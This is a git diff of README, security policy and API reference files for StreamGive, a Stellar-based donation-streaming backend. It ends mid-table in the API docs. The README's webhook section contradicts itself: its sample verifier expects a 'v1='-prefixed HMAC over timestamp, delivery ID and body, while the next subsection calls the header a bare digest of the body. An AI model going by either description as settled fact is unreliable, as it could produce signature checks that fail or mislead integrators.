Number(timestamp)) > 300) return false; - - const match = /^v1=([0-9a-f]{64})$/.exec(signatureHeader); - if (!match) return false; - - const expected = createHmac('sha256', secret) - .update(`${timestamp}.${deliveryId}.${rawBody}`) - .digest(); - const received = Buffer.from(match[1], 'hex'); - - // timingSafeEqual throws on a length mismatch, so check that first. - return received.length === expected.length && timingSafeEqual(received, expected); -} -``` - -Call the verifier with the raw body and the three corresponding headers. -Persist accepted delivery IDs for at least the timestamp acceptance window -and reject duplicates, along with any request whose signature does not match. -When `NOTIFY_WEBHOOK_SECRET` is unset the signature header is omitted, so -configure a secret before requiring signed requests. - -Failed webhook deliveries are persisted and retried with exponential backoff -for up to five attempts. A delivery that exhausts its attempts remains -recorded as failed for operational inspection. - -### Verifying the signature - -The webhook URL is not a secret — anyone who learns it can POST whatever they -like to your receiver. Set `NOTIFY_WEBHOOK_SECRET` to a shared secret and -every request will additionally carry: - -``` -x-streamgive-signature: -``` - -where `` is the lower-case hex HMAC-SHA256 of the **raw request body**, -keyed with `NOTIFY_WEBHOOK_SECRET`. There is no prefix, timestamp or version -tag in the value — it is the bare digest. - -### `stream_created` - -Emitted when a donor opens a new donation stream to an NGO. - -```json -{ - "type": "stream_created", - "streamId": "1234", - "donorAddress": "GABC...", - "ngoId": "clx1y2z3..." -} -``` - -- `streamId` — the stream's on-chain id, as a string. -- `donorAddress` — the donor's Stellar account address. -- `ngoId` — the internal (database) id of the receiving NGO. - -### `stream_withdrawn` - -Emitted when accrued funds are withdrawn to the NGO from an active stream. - -```json -{ - "type": "stream_withdrawn", - "streamId": "1234", - "amount": "500000000" -} -``` - -- `streamId` — the stream's on-chain id, as a string. -- `amount` — the amount withdrawn, in the stream's token base units, as a string. - -### `stream_cancelled` - -Emitted when a stream is cancelled, settling accrued funds to the NGO and -refunding the remaining balance to the donor. - -```json -{ - "type": "stream_cancelled", - "streamId": "1234", - "settledToNgo": "500000000", - "refundToDonor": "1500000000" -} -``` - -- `streamId` — the stream's on-chain id, as a string. -- `settledToNgo` — the amount settled to the NGO at cancellation time, in the stream's token base units, as a string. -- `refundToDonor` — the amount refunded to the donor, in the stream's token base units, as a string. - -### `ngo_approved` - -Emitted when an admin approves an NGO on-chain. - -```json -{ - "type": "ngo_approved", - "ownerAddress": "GABC...", - "ngoId": "clx1y2z3..." -} -``` - -- `ownerAddress` — the NGO owner's Stellar account address. -- `ngoId` — the internal (database) id of the approved NGO. - -### `ngo_revoked` - -Emitted when a previously-approved NGO has its verified status revoked on-chain. - -```json -{ - "type": "ngo_revoked", - "ownerAddress": "GABC...", - "ngoId": "clx1y2z3..." -} -``` - -- `ownerAddress` — the NGO owner's Stellar account address. -- `ngoId` — the internal (database) id of the revoked NGO. - -## Contributing - -See [CONTRIBUTING.md](./CONTRIBUTING.md) for local setup, how to run tests, and -how to open a pull request. The full project-wide contribution guide lives in -[streamgive-docs](https://github.com/streamgive/streamgive-docs). - -## Related repositories - -- [streamgive-contracts](https://github.com/streamgive/streamgive-contracts) — Soroban smart contracts -- [streamgive-frontend](https://github.com/streamgive/streamgive-frontend) — donor & NGO web app -- [streamgive-docs](https://github.com/streamgive/streamgive-docs) — documentation - -## Status - -Early development. - -## License - -Apache-2.0 — see [LICENSE](./LICENSE). +# StreamGive — Backend + +Indexer and API for StreamGive, a recurring/streaming donation platform for +verified NGOs on Stellar. Watches the on-chain contracts for events and +serves the data that powers the frontend. + +## Stack + +- TypeScript, Node.js +- Fastify (API server) +- PostgreSQL +- [Architecture overview](ARCHITECTURE.md): how the API, indexer, and + notification dispatcher run together and shut down. + +## API + +Routes are split into two groups: + +| Prefix | Routes | +|--------|--------| +| `/v1` | NGOs, streams, donors, impact, NGO applications, indexer status | +| _(none)_ | `GET /health`, `GET /health/ready`, `GET /metrics` | + +`GET /v1/health` is **not** a valid route and returns 404. Health checks and +metrics sit at the root so load balancers and uptime monitors can reach them +without knowing the API version. + +See the [API reference](docs/API.md) for every endpoint, its parameters, +authentication requirements, and response examples. + +Interactive API documentation via Swagger UI is available at `/docs` (e.g. +`http://localhost:3000/docs` in local development), and the OpenAPI JSON document +is available at `/docs/json`. + +Swagger UI and the OpenAPI JSON endpoints are only registered outside of +production (`NODE_ENV !== 'production'`). In production environments, Swagger UI +is disabled and the `/docs` route is not registered (returning 404). For API +documentation on deployed production instances, consult the [API reference](docs/API.md). + +## Rate limits + +The API allows up to **100 requests per minute per client IP** by default. +`POST /v1/ngo-applications` has a tighter limit of **5 requests per minute +per client IP**. Exceeding a limit returns `429 Too Many Requests` with +`{"error":"rate_limited"}`. Responses include `Retry-After` and +`X-RateLimit-*` headers to help clients know when to retry. Cross-origin +browser clients can read those headers because they are listed in the CORS +`Access-Control-Expose-Headers` response. + +The global limit can be adjusted with `RATE_LIMIT_MAX` and +`RATE_LIMIT_WINDOW`; the application submission limit can be adjusted with +`RATE_LIMIT_APPLICATION_MAX` and `RATE_LIMIT_APPLICATION_WINDOW`. + +Rate-limit state is kept in memory by each server process, not shared between +instances or persisted. With multiple instances, each instance tracks its own +limits, so a client's effective allowance can be higher than the configured +per-instance limit. Restarting an instance also clears its rate-limit state. + +## Prometheus metrics + +`GET /metrics` returns Prometheus text format (`text/plain; version=0.0.4`). +It exposes HTTP request totals and duration, indexer checkpoint and lag, and webhook +delivery totals. Configure Prometheus to scrape it on the API host and port. + +Set `METRICS_TOKEN` to require `Authorization: Bearer ` on `/metrics`. +When it is unset, the endpoint stays public; see [ENVIRONMENT.md](ENVIRONMENT.md). + +## NGO Verification Model + +An NGO's verified status consists of two distinct steps kept deliberately separate: + +1. **Off-Chain Application Review (`NgoApplication.status`)**: An NGO submits an off-chain application containing organization details and verification documents. Admins review and update the application status (e.g., `APPROVED` or `REJECTED`) within the database. +2. **On-Chain Contract Approval (`Ngo.verified`)**: Once an application is reviewed off-chain, an admin executes an on-chain transaction (`approve_ngo`) to grant the NGO verified status on the Stellar smart contract. The indexer listens for on-chain events (`ngo_approved` / `ngo_revoked`) and updates the `Ngo.verified` field accordingly. + +Keeping off-chain application review separate from on-chain contract approval ensures that sensitive organizational details and review metadata remain off-chain, while the Stellar ledger remains the single source of truth for execution permissions and verified status. + +## Admin Authentication + +Admin routes are protected by a signed request scheme (`requireAdminSignature`). Each request must include: + +- `x-admin-address` — the admin's Stellar public key (`G...`), which must appear in `ADMIN_ADDRESS` or `ADMIN_ADDRESSES`. +- `x-admin-timestamp` — the current time as a Unix timestamp in **milliseconds** (e.g. `Date.now()` in JavaScript). +- `x-admin-signature` — a base64 or hex Ed25519 signature over the signed payload (see below). + +### Signed payload + +The signature is produced by signing the following string with the admin's Stellar keypair via the SEP-53 generic message-signing scheme (`SHA-256(prefix + message)`, where `prefix = "Stellar Signed Message:\n"`): + +``` +METHOD:url:timestamp:bodyHash +``` + +- **METHOD** — HTTP method in upper-case, e.g. `GET`, `POST`, `PATCH`. +- **url** — the full request URL including path and query string, e.g. `/v1/ngo-applications?status=PENDING`. +- **timestamp** — the `x-admin-timestamp` value (milliseconds). +- **bodyHash** — lower-case hex SHA-256 of the raw request body, or the SHA-256 of an empty buffer (`e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855`) for bodyless requests (GET, DELETE, etc.). + +Including the body hash in the signed payload prevents an attacker who intercepts a valid request from replaying it with a different body (e.g. a different `reviewNote`) inside the replay window. + +### Timestamp rules + +The timestamp must be within ±5 minutes of the server's clock. The unit is **milliseconds**, not seconds. Sending a 10-digit seconds-precision timestamp is rejected with `timestamp_unit_mismatch` (not `stale_signature`) so clients get a clear signal. + +### Error codes + +| Error | Status | Meaning | +|---|---|---| +| `unauthorized` | 401 | Missing or invalid headers, address not on allow-list, or signature did not verify | +| `stale_signature` | 401 | Timestamp is malformed or outside the ±5-minute replay window | +| `timestamp_unit_mismatch` | 401 | Timestamp looks like seconds (< 10^11); send milliseconds | +| `replayed_signature` | 401 | The same address+timestamp+method+url has already been used in this window | +| `admin_auth_not_configured` | 503 | Neither `ADMIN_ADDRESS` nor `ADMIN_ADDRESSES` is set | + +## Local development + +``` +cp .env.example .env +docker compose up -d postgres # starts Postgres (+ a streamgive_test DB) +npm install +npm run db:deploy # apply Prisma migrations to streamgive +npm run db:seed # optional: load sample NGOs, donors and streams +npm run dev + +``` + +In development, interactive API documentation is available at `http://localhost:3000/docs`; the OpenAPI document is at `/docs/json`. Swagger UI is disabled in production. + +The test database is created by the `postgres` service in `docker-compose.yml` +as `streamgive_test`. Start it with `docker compose up -d postgres`, copy +`.env.test.example` to `.env.test`, run `npm run db:push:test` to sync the +Prisma schema to that database, and only then run `npm test`. + +## Troubleshooting + +**"Can't reach database" / connection errors on startup** + +Postgres isn't up yet, or `DATABASE_URL` doesn't point at it. Run +`docker compose up -d postgres` and confirm `DATABASE_URL` in `.env` matches +(`postgresql://streamgive:streamgive@localhost:5432/streamgive` when running +`npm run dev` directly — the `postgres` host only resolves inside +`docker compose`, see the override in `docker-compose.yml`). Then run +`npm run db:deploy` to apply the committed migrations. + +**Indexer never picks up events** + +If `NGO_REGISTRY_CONTRACT_ID` and `DONATION_VAULT_CONTRACT_ID` are both +unset, this is expected — the indexer no-ops until at least one is set. See +[ENVIRONMENT.md](./ENVIRONMENT.md) for where to get the deployed contract +ids. If they're set and events still aren't showing up, check +`SOROBAN_RPC_URL` is reachable and that the contracts have actually emitted +events since the indexer's checkpoint (a fresh run starts from the current +ledger, not from the contract's history). + +**Admin routes return 503** + +`ADMIN_ADDRESS` is unset. The admin review endpoints refuse all requests +until it's configured — set it to the Stellar public key (`G...`) that +matches the `admin` configured on the deployed contracts. See +[ENVIRONMENT.md](./ENVIRONMENT.md). + +## Data model and API statistics + +See [docs/DATA-MODEL.md](./docs/DATA-MODEL.md) for the entity relationship +diagram and the exact calculations used by `/ngos/:id` and `/impact/:ngoId`. + +## Notification events + +The webhook body is a JSON object discriminated by `type`. The full payload +shapes, including `ngo_registered`, are documented in +[docs/NOTIFICATIONS.md](./docs/NOTIFICATIONS.md). + +```js +import { createHmac, timingSafeEqual } from 'node:crypto'; + +function isFromStreamGive(rawBody, timestamp, deliveryId, signatureHeader, secret) { + if (!timestamp || !deliveryId || !signatureHeader) return false; + if (!/^\d+$/.test(timestamp)) return false; + if (Math.abs(Date.now() / 1000 - Number(timestamp)) > 300) return false; + + const match = /^v1=([0-9a-f]{64})$/.exec(signatureHeader); + if (!match) return false; + + const expected = createHmac('sha256', secret) + .update(`${timestamp}.${deliveryId}.${rawBody}`) + .digest(); + const received = Buffer.from(match[1], 'hex'); + + // timingSafeEqual throws on a length mismatch, so check that first. + return received.length === expected.length && timingSafeEqual(received, expected); +} +``` + +Call the verifier with the raw body and the three corresponding headers. +Persist accepted delivery IDs for at least the timestamp acceptance window +and reject duplicates, along with any request whose signature does not match. +When `NOTIFY_WEBHOOK_SECRET` is unset the signature header is omitted, so +configure a secret before requiring signed requests. + +Failed webhook deliveries are persisted and retried with exponential backoff +for up to five attempts. A delivery that exhausts its attempts remains +recorded as failed for operational inspection. + +### Verifying the signature + +The webhook URL is not a secret — anyone who learns it can POST whatever they +like to your receiver. Set `NOTIFY_WEBHOOK_SECRET` to a shared secret and +every request will additionally carry: + +``` +x-streamgive-signature: +``` + +where `` is the lower-case hex HMAC-SHA256 of the **raw request body**, +keyed with `NOTIFY_WEBHOOK_SECRET`. There is no prefix, timestamp or version +tag in the value — it is the bare digest. + +### `stream_created` + +Emitted when a donor opens a new donation stream to an NGO. + +```json +{ + "type": "stream_created", + "streamId": "1234", + "donorAddress": "GABC...", + "ngoId": "clx1y2z3..." +} +``` + +- `streamId` — the stream's on-chain id, as a string. +- `donorAddress` — the donor's Stellar account address. +- `ngoId` — the internal (database) id of the receiving NGO. + +### `stream_withdrawn` + +Emitted when accrued funds are withdrawn to the NGO from an active stream. + +```json +{ + "type": "stream_withdrawn", + "streamId": "1234", + "amount": "500000000" +} +``` + +- `streamId` — the stream's on-chain id, as a string. +- `amount` — the amount withdrawn, in the stream's token base units, as a string. + +### `stream_cancelled` + +Emitted when a stream is cancelled, settling accrued funds to the NGO and +refunding the remaining balance to the donor. + +```json +{ + "type": "stream_cancelled", + "streamId": "1234", + "settledToNgo": "500000000", + "refundToDonor": "1500000000" +} +``` + +- `streamId` — the stream's on-chain id, as a string. +- `settledToNgo` — the amount settled to the NGO at cancellation time, in the stream's token base units, as a string. +- `refundToDonor` — the amount refunded to the donor, in the stream's token base units, as a string. + +### `ngo_approved` + +Emitted when an admin approves an NGO on-chain. + +```json +{ + "type": "ngo_approved", + "ownerAddress": "GABC...", + "ngoId": "clx1y2z3..." +} +``` + +- `ownerAddress` — the NGO owner's Stellar account address. +- `ngoId` — the internal (database) id of the approved NGO. + +### `ngo_revoked` + +Emitted when a previously-approved NGO has its verified status revoked on-chain. + +```json +{ + "type": "ngo_revoked", + "ownerAddress": "GABC...", + "ngoId": "clx1y2z3..." +} +``` + +- `ownerAddress` — the NGO owner's Stellar account address. +- `ngoId` — the internal (database) id of the revoked NGO. + +## Contributing + +See [CONTRIBUTING.md](./CONTRIBUTING.md) for local setup, how to run tests, and +how to open a pull request. The full project-wide contribution guide lives in +[streamgive-docs](https://github.com/streamgive/streamgive-docs). + +## Related repositories + +- [streamgive-contracts](https://github.com/streamgive/streamgive-contracts) — Soroban smart contracts +- [streamgive-frontend](https://github.com/streamgive/streamgive-frontend) — donor & NGO web app +- [streamgive-docs](https://github.com/streamgive/streamgive-docs) — documentation + +## Status + +Early development. + +## License + +Apache-2.0 — see [LICENSE](./LICENSE). diff --git a/SECURITY.md b/SECURITY.md index 96196d0..4eb42d6 100644 --- a/SECURITY.md +++ b/SECURITY.md @@ -1,42 +1,42 @@ -# Security Policy - -StreamGive handles donation data and includes admin endpoints authenticated by -cryptographic signatures. We appreciate responsible reports that help us keep -donors, NGOs, and the service safe. - -## Reporting a vulnerability - -Please report suspected security vulnerabilities privately by emailing -**security@streamgive.org**. Do not open a public GitHub issue or disclose the -problem publicly before we have had a reasonable opportunity to investigate and -release a fix. - -Include, where possible: - -- a clear description of the vulnerability and its potential impact; -- the affected endpoint, component, commit, or configuration; -- reliable reproduction steps or a proof of concept; and -- any relevant logs, screenshots, or suggested mitigation. - -Please avoid accessing, modifying, or deleting data that does not belong to -you. Stop testing if you encounter another person's private data and tell us -what happened in your report. - -## What to expect - -We will acknowledge receipt within five business days and keep the report -confidential while it is being investigated. We will work with the reporter to -understand the issue, determine its severity, and coordinate a fix and any -public disclosure. We may request additional information or ask for a -reasonable amount of time to remediate before disclosure. - -Please do not include secrets, private keys, or unnecessary personal data in a -report. Reports made in good faith and in accordance with this policy will not -result in legal action by StreamGive for the testing activity itself. - -## Scope - -This policy covers this repository and the StreamGive backend services it -builds. Denial-of-service testing, social engineering, spam, and vulnerabilities -in third-party services are out of scope; please report those to the relevant -provider. +# Security Policy + +StreamGive handles donation data and includes admin endpoints authenticated by +cryptographic signatures. We appreciate responsible reports that help us keep +donors, NGOs, and the service safe. + +## Reporting a vulnerability + +Please report suspected security vulnerabilities privately by emailing +**security@streamgive.org**. Do not open a public GitHub issue or disclose the +problem publicly before we have had a reasonable opportunity to investigate and +release a fix. + +Include, where possible: + +- a clear description of the vulnerability and its potential impact; +- the affected endpoint, component, commit, or configuration; +- reliable reproduction steps or a proof of concept; and +- any relevant logs, screenshots, or suggested mitigation. + +Please avoid accessing, modifying, or deleting data that does not belong to +you. Stop testing if you encounter another person's private data and tell us +what happened in your report. + +## What to expect + +We will acknowledge receipt within five business days and keep the report +confidential while it is being investigated. We will work with the reporter to +understand the issue, determine its severity, and coordinate a fix and any +public disclosure. We may request additional information or ask for a +reasonable amount of time to remediate before disclosure. + +Please do not include secrets, private keys, or unnecessary personal data in a +report. Reports made in good faith and in accordance with this policy will not +result in legal action by StreamGive for the testing activity itself. + +## Scope + +This policy covers this repository and the StreamGive backend services it +builds. Denial-of-service testing, social engineering, spam, and vulnerabilities +in third-party services are out of scope; please report those to the relevant +provider. diff --git a/docs/API.md b/docs/API.md index 5eb0bf6..994f2d2 100644 --- a/docs/API.md +++ b/docs/API.md @@ -1,856 +1,856 @@ -# StreamGive REST API - -This reference documents the HTTP endpoints currently registered by the -backend. Except for health checks and metrics, API routes are mounted under -`/v1`. Replace values in angle brackets in the examples with real IDs, -addresses, timestamps, and signatures. JSON response fields shown are -representative; timestamps are ISO 8601 strings. - -## Authentication - -Routes marked **Admin signature** require all three headers: - -- `x-admin-address`: an allowed Stellar public key configured by - `ADMIN_ADDRESS` or `ADMIN_ADDRESSES`. -- `x-admin-timestamp`: the current Unix timestamp in milliseconds. -- `x-admin-signature`: a base64 or hexadecimal Ed25519 signature over the - SEP-53 hash of `METHOD:URL:TIMESTAMP:BODY_HASH`, where the timestamp is the - exact header value. `URL` includes the `/v1` prefix and query string; for - example, `/v1/ngo-applications?limit=20`. `BODY_HASH` is the lowercase hex - SHA-256 of the raw request body, or the SHA-256 of the empty body for - bodyless requests. SEP-53 hashes the UTF-8 bytes of - `Stellar Signed Message:\n` followed by the complete payload before the - wallet signs it with its generic message-signing operation. - -The signed message must use the generic Stellar message-signing operation. -Signatures expire when the timestamp is more than five minutes from the -server's clock, and a signature cannot be replayed. Admin routes return -`401 unauthorized` for missing headers, an unlisted address, or an invalid -signature; `401 stale_signature` for a malformed or out-of-window timestamp; -`401 timestamp_unit_mismatch` for a seconds-based timestamp; and -`401 replayed_signature` when the same address, method, URL, and timestamp -are reused. They return `503 admin_auth_not_configured` when both admin -address settings are empty. See the HTTP error contract below for examples. - -Routes marked **Public** do not require authentication. Public directory, -stream, and impact endpoints may return `304 Not Modified` when the -`If-None-Match` header matches their ETag. See [Caching and conditional requests](#caching-and-conditional-requests). - -Unknown routes return `404` with the same body used by every other missing -resource: `{"error":"not_found"}`. - -## HTTP error contract - -Error responses are JSON objects with a stable `error` code. Validation -responses may also include a `details` object; clients should branch on the -`error` value rather than parse human-readable messages. The table lists the -codes returned by the API and an example response body for each. - -| HTTP status | Error code | Meaning | Example response body | -| --- | --- | --- | --- | -| 400 | `invalid_request` | A route parameter, query, or request body failed validation. Some validation errors include `details`. | `{"error":"invalid_request"}` | -| 400 | `invalid_or_expired_challenge` | An NGO application challenge is missing, expired, or already consumed. | `{"error":"invalid_or_expired_challenge"}` | -| 401 | `unauthorized` | Admin signature or configured metrics authentication is missing or invalid. | `{"error":"unauthorized"}` | -| 401 | `invalid_signature` | The signature for an NGO application challenge did not verify. | `{"error":"invalid_signature"}` | -| 401 | `stale_signature` | The admin timestamp is malformed or outside the permitted clock-skew window. | `{"error":"stale_signature"}` | -| 401 | `timestamp_unit_mismatch` | The admin timestamp appears to be in seconds; send Unix milliseconds. | `{"error":"timestamp_unit_mismatch"}` | -| 401 | `replayed_signature` | The same admin address and timestamp have already been used. | `{"error":"replayed_signature"}` | -| 404 | `not_found` | The requested route or resource does not exist. | `{"error":"not_found"}` | -| 409 | `already_reviewed` | The NGO application is no longer pending review. | `{"error":"already_reviewed"}` | -| 409 | `application_already_pending` | An application for this owner is already pending. | `{"error":"application_already_pending"}` | -| 409 | `already_approved` | This owner already has an approved application. | `{"error":"already_approved"}` | -| 503 | `admin_auth_not_configured` | Admin-protected routes are unavailable until an admin address is configured. | `{"error":"admin_auth_not_configured"}` | -| 500 | `internal_server_error` | An unexpected server error occurred; internal details are not returned. | `{"error":"internal_server_error"}` | - -## Caching and conditional requests - -Eleven public read endpoints send a validator and a short shared-cache -lifetime. Everything else is uncached. - -| Method and path | Cacheable | -|---|---| -| `GET /v1/ngos` | Yes | -| `GET /v1/ngos/lookup` | Yes | -| `GET /v1/ngos/{id}` | Yes | -| `GET /v1/ngos/{id}/donors` | Yes | -| `GET /v1/donors` | Yes | -| `GET /v1/donors/{address}` | Yes | -| `GET /v1/streams` | Yes | -| `GET /v1/streams/{id}` | Yes | -| `GET /v1/streams/{id}/activity` | Yes | -| `GET /v1/impact` | Yes | -| `GET /v1/impact/{ngoId}` | Yes | - -Not cacheable: `GET /v1/ngos/all`, `GET /v1/ngo-applications*`, the admin -routes, `GET /v1/donors/{address}/streams.csv`, `GET /v1/indexer/status`, -`GET /health`, `GET /health/ready`, and `GET /metrics`. - -### Headers - -A cacheable response carries: - -``` -Cache-Control: public, max-age=30, stale-while-revalidate=60 -ETag: "" -``` - -The ETag is computed over the exact JSON bytes sent, so it changes whenever -the body changes. Responses are not personalised, so a shared cache may store -them for 30 seconds and serve a stale copy for up to a further 60 seconds -while it revalidates. - -### Conditional requests - -Send the ETag back in `If-None-Match` to get a body-less `304 Not Modified` -while the resource is unchanged: - -``` -GET /v1/ngos/{id} HTTP/1.1 -If-None-Match: "3f2a…" - -HTTP/1.1 304 Not Modified -Cache-Control: public, max-age=30, stale-while-revalidate=60 -ETag: "3f2a…" -``` - -`If-None-Match` accepts a comma-separated list of ETags, weak validators -(`W/"…"`, compared as strong), and `*`. A request whose validator no longer -matches receives the full `200` response with the new ETag. - -## Integer and amount representation - -Stream `onChainId` values are stored as JavaScript `bigint` values in the -backend. Amounts originating from the contract, including `rate`, `lastRate`, -`balance`, and `withdrawn`, are stored as decimal strings to preserve the -contract's full integer precision. Aggregated amounts such as `totalCommitted` -and `totalWithdrawn` are returned as decimal strings too. - -JSON cannot serialize JavaScript `bigint` values directly. The API therefore -converts `onChainId` to a decimal string before sending stream responses; -on-chain event `streamId` values are also serialized as strings (or `null`). -Treat these fields as strings when consuming the API. Do not convert IDs or -amounts to JavaScript `number`, which can silently lose integer precision. -For exact integer arithmetic, parse decimal strings with `BigInt` in -JavaScript, and convert results back to strings for JSON. - -## Health and metrics - -These endpoints are mounted at the server root, not under `/v1`. - -### `GET /health` - -**Auth:** Public -**Params:** None. - -Checks database and Stellar RPC connectivity. Returns `200` when both checks -succeed and `503` otherwise. - -```json -{ "status": "ok", "db": "ok", "rpc": "ok" } -``` - -### `GET /health/ready` - -**Auth:** Public -**Params:** None. - -Checks database connectivity and indexer progress. Returns `200` when ready, -or `503` if the indexer has not started, is too far behind, or a dependency is -unavailable. - -```json -{ - "status": "ok", - "lag": 5, - "latestLedger": 123455, - "checkpointLedger": 123450 -} -``` - -### `GET /metrics` - -**Auth:** Public, or bearer token when `METRICS_TOKEN` is set - -**Params:** None. - -If the server has `METRICS_TOKEN` set, this endpoint requires -`Authorization: Bearer `. A missing or wrong token returns -`401 { "error": "unauthorized" }`. When `METRICS_TOKEN` is unset, the -endpoint is public. - -Returns Prometheus exposition text (`text/plain; version=0.0.4`), including -HTTP request and duration metrics, indexer checkpoint and lag, and webhook -delivery metrics. Example response: - -```text -# HELP streamgive_http_requests_total Total HTTP requests handled. -# TYPE streamgive_http_requests_total counter -streamgive_http_requests_total{method="GET",route="/health",status_code="200"} 1 -# HELP streamgive_http_request_duration_seconds HTTP request duration in seconds. -# TYPE streamgive_http_request_duration_seconds summary -streamgive_http_request_duration_seconds_sum{method="GET",route="/health",status_code="200"} 0.001 -streamgive_http_request_duration_seconds_count{method="GET",route="/health",status_code="200"} 1 -# HELP streamgive_indexer_checkpoint_ledger Last ledger checkpointed by the indexer. -# TYPE streamgive_indexer_checkpoint_ledger gauge -streamgive_indexer_checkpoint_ledger 123450 -# HELP streamgive_indexer_latest_ledger Latest ledger observed from Stellar RPC. -# TYPE streamgive_indexer_latest_ledger gauge -streamgive_indexer_latest_ledger 123455 -# HELP streamgive_indexer_lag_ledgers Difference between the latest and checkpoint ledgers. -# TYPE streamgive_indexer_lag_ledgers gauge -streamgive_indexer_lag_ledgers 5 -# HELP streamgive_notification_deliveries_total Webhook notification delivery attempts. -# TYPE streamgive_notification_deliveries_total counter -streamgive_notification_deliveries_total{outcome="success"} 1 -streamgive_notification_deliveries_total{outcome="failure"} 0 -``` - -## NGOs - -### `GET /v1/ngos` - -**Auth:** Public -**Query params:** - -| Name | Type | Default | Description | -| -------- | ---------------------------- | -------- | ----------------------------------------------------- | -| `limit` | integer, 1–100 | `100` | Maximum results. | -| `cursor` | UUID | — | Continue after this NGO ID. | -| `sort` | `newest`, `oldest`, `name` | `newest` | Result ordering. | -| `q` | string, up to 100 characters | — | Case-insensitive substring search on the public name. | - -Lists verified NGOs. `nextCursor` is the last returned NGO ID when another -page is available, otherwise `null`. - -```json -{ - "ngos": [ - { - "id": "", - "ownerAddress": "", - "name": "Example Aid", - "displayName": null, - "verified": true, - "createdAt": "", - "updatedAt": "" - } - ], - "nextCursor": null -} -``` - -### `GET /v1/ngos/all` - -**Auth:** Admin signature -**Query params:** - -| Name | Type | Default | Description | -| ---------- | ----------------- | ------- | ------------------------------ | -| `limit` | integer, 1–100 | `100` | Maximum results. | -| `cursor` | UUID | — | Continue after this NGO ID. | -| `verified` | `true` or `false` | — | Filter by verification status. | - -Lists verified and unverified NGOs. - -```json -{ - "ngos": [ - { - "id": "", - "ownerAddress": "", - "name": "Example Aid", - "displayName": null, - "verified": false, - "createdAt": "", - "updatedAt": "" - } - ], - "nextCursor": null -} -``` - -### `GET /v1/ngos/lookup` - -**Auth:** Public -**Query params:** `address` (required): Stellar public key (`G` followed by -55 base32 characters). - -Looks up an NGO profile by its owner address. This endpoint is public and -returns a profile whether or not the NGO is verified. This intentionally -differs from `GET /v1/ngos`, which lists verified NGOs only. For an unverified -or placeholder NGO, `verified` is `false`; `name` and approved-application -fields (`description`, `website`, and `country`) can be `null`. The lookup -does not expose pending application details. Returns `400 -{"error":"invalid_request"}` for an invalid address and `404 -{"error":"not_found"}` if there is no matching NGO. The response has the same -shape as `GET /v1/ngos/{id}`; see that endpoint's example response. - -### `GET /v1/ngos/{id}` - -**Auth:** Public -**Path params:** `id` (required): NGO UUID. - -Returns an NGO profile, impact totals, and up to ten recent streams for -verified, unverified, and placeholder NGOs. This public ID lookup is not a -verification check: callers must inspect `verified` before treating an NGO as -approved. Placeholder records can have `registered: false` and `name: null`; -unverified records can have `verified: false` and `null` approved-application -fields (`description`, `website`, and `country`). Pending application details -remain private. Returns -`400 {"error":"invalid_request"}` for an invalid ID or -`404 {"error":"not_found"}` if no NGO exists. - -```json -{ - "id": "", - "ownerAddress": "", - "name": "Example Aid", - "displayName": null, - "verified": true, - "createdAt": "", - "updatedAt": "", - "registered": true, - "description": "Supporting local communities.", - "website": "https://example.org", - "country": "Example", - "stats": { - "totalCommitted": "12000", - "committedByToken": [{ "tokenAddress": "", "amount": "12000" }], - "totalWithdrawn": "2000", - "activeStreamCount": 2, - "donorCount": 3 - }, - "recentStreams": [ - { - "id": "", - "donor": { "address": "" }, - "tokenAddress": "", - "rate": "100", - "balance": "1000", - "withdrawn": "200", - "status": "ACTIVE", - "createdAt": "", - "onChainId": "42" - } - ], - "recentStreamsNextCursor": null -} -``` - -`description`, `website`, and `country` are `null` when no approved -application supplies them. The public `name` uses the display name when one -is set; `registered` indicates whether an on-chain registry name exists. - -### `GET /v1/ngos/{id}/donors` - -**Auth:** Public -**Path params:** `id` (required): NGO UUID. -**Query params:** `limit` (integer, 1–100, default `100`) and `cursor` (donor -UUID, optional). - -Lists donors with streams for this NGO. `committedByToken` reports each -token's committed amount separately; `totalCommitted` remains as a legacy -decimal-string field. Returns `400 {"error":"invalid_request"}` for invalid -parameters and `404 {"error":"not_found"}` if the NGO does not exist. -Responses include an `ETag` and `Cache-Control` with a 30-second public -max-age; send `If-None-Match` to receive `304 Not Modified` when unchanged. - -```json -{ - "donors": [ - { - "id": "", - "address": "", - "totalCommitted": "1200", - "committedByToken": [{ "tokenAddress": "", "amount": "1200" }] - } - ], - "nextCursor": null -} -``` - -### `PATCH /v1/admin/ngos/{id}` - -**Auth:** Admin signature -**Path params:** `id` (required): NGO UUID. -**JSON body:** `displayName` (optional; string or `null`). - -Updates the public display name. Returns the updated NGO record with `name` -set to the display name when present, otherwise its registered name. Returns -`400 {"error":"invalid_request"}` for invalid input and -`404 {"error":"not_found"}` if the NGO does not exist. - -```json -{ - "id": "", - "ownerAddress": "", - "name": "Example Aid", - "displayName": "Example Aid", - "verified": true, - "createdAt": "", - "updatedAt": "" -} -``` - -## Donors - -### `GET /v1/donors` - -**Auth:** Public -**Query params:** - -| Name | Type | Default | Description | -| -------- | -------------------------- | ----------- | ----------------------------- | -| `sort` | `committed` or `withdrawn` | `committed` | Amount used to rank donors. | -| `order` | `asc` or `desc` | `desc` | Sort direction. | -| `limit` | integer, 1–100 | `100` | Maximum results. | -| `cursor` | UUID | — | Continue after this donor ID. | - -Returns donor totals across all streams. -Each donor includes `committedByToken`, an array of `{ tokenAddress, amount }` -entries, so committed amounts in different assets are reported independently. -The legacy `totalCommitted` field remains available. -Responses include an `ETag` and `Cache-Control` with a 30-second public -max-age; send `If-None-Match` to receive `304 Not Modified` when unchanged. - -```json -{ - "donors": [ - { - "id": "", - "address": "", - "createdAt": "", - "totalCommitted": "1200", - "committedByToken": [{ "tokenAddress": "", "amount": "1200" }], - "totalWithdrawn": "200" - } - ], - "nextCursor": null -} -``` - -Invalid query parameters or an unknown cursor return -`400 {"error":"invalid_request"}`. - -### `GET /v1/donors/{address}` - -**Auth:** Public -**Path params:** `address` (required): Stellar public key (`G` followed by -55 base32 characters). - -Returns one donor's totals, number of active streams, and distinct NGO count. -`committedByToken` reports committed amounts separately for each token; the -legacy `totalCommitted` field remains available. -Responses include an `ETag` and `Cache-Control` with a 30-second public -max-age; send `If-None-Match` to receive `304 Not Modified` when unchanged. -Returns `400 {"error":"invalid_request"}` for an invalid address and -`404 {"error":"not_found"}` if no donor exists. - -```json -{ - "id": "", - "address": "", - "createdAt": "", - "totalCommitted": "1200", - "committedByToken": [{ "tokenAddress": "", "amount": "1200" }], - "totalWithdrawn": "200", - "activeStreamCount": 2, - "distinctNgoCount": 1 -} -``` - -## Streams - -### `GET /v1/streams` - -**Auth:** Public -**Query params:** - -| Name | 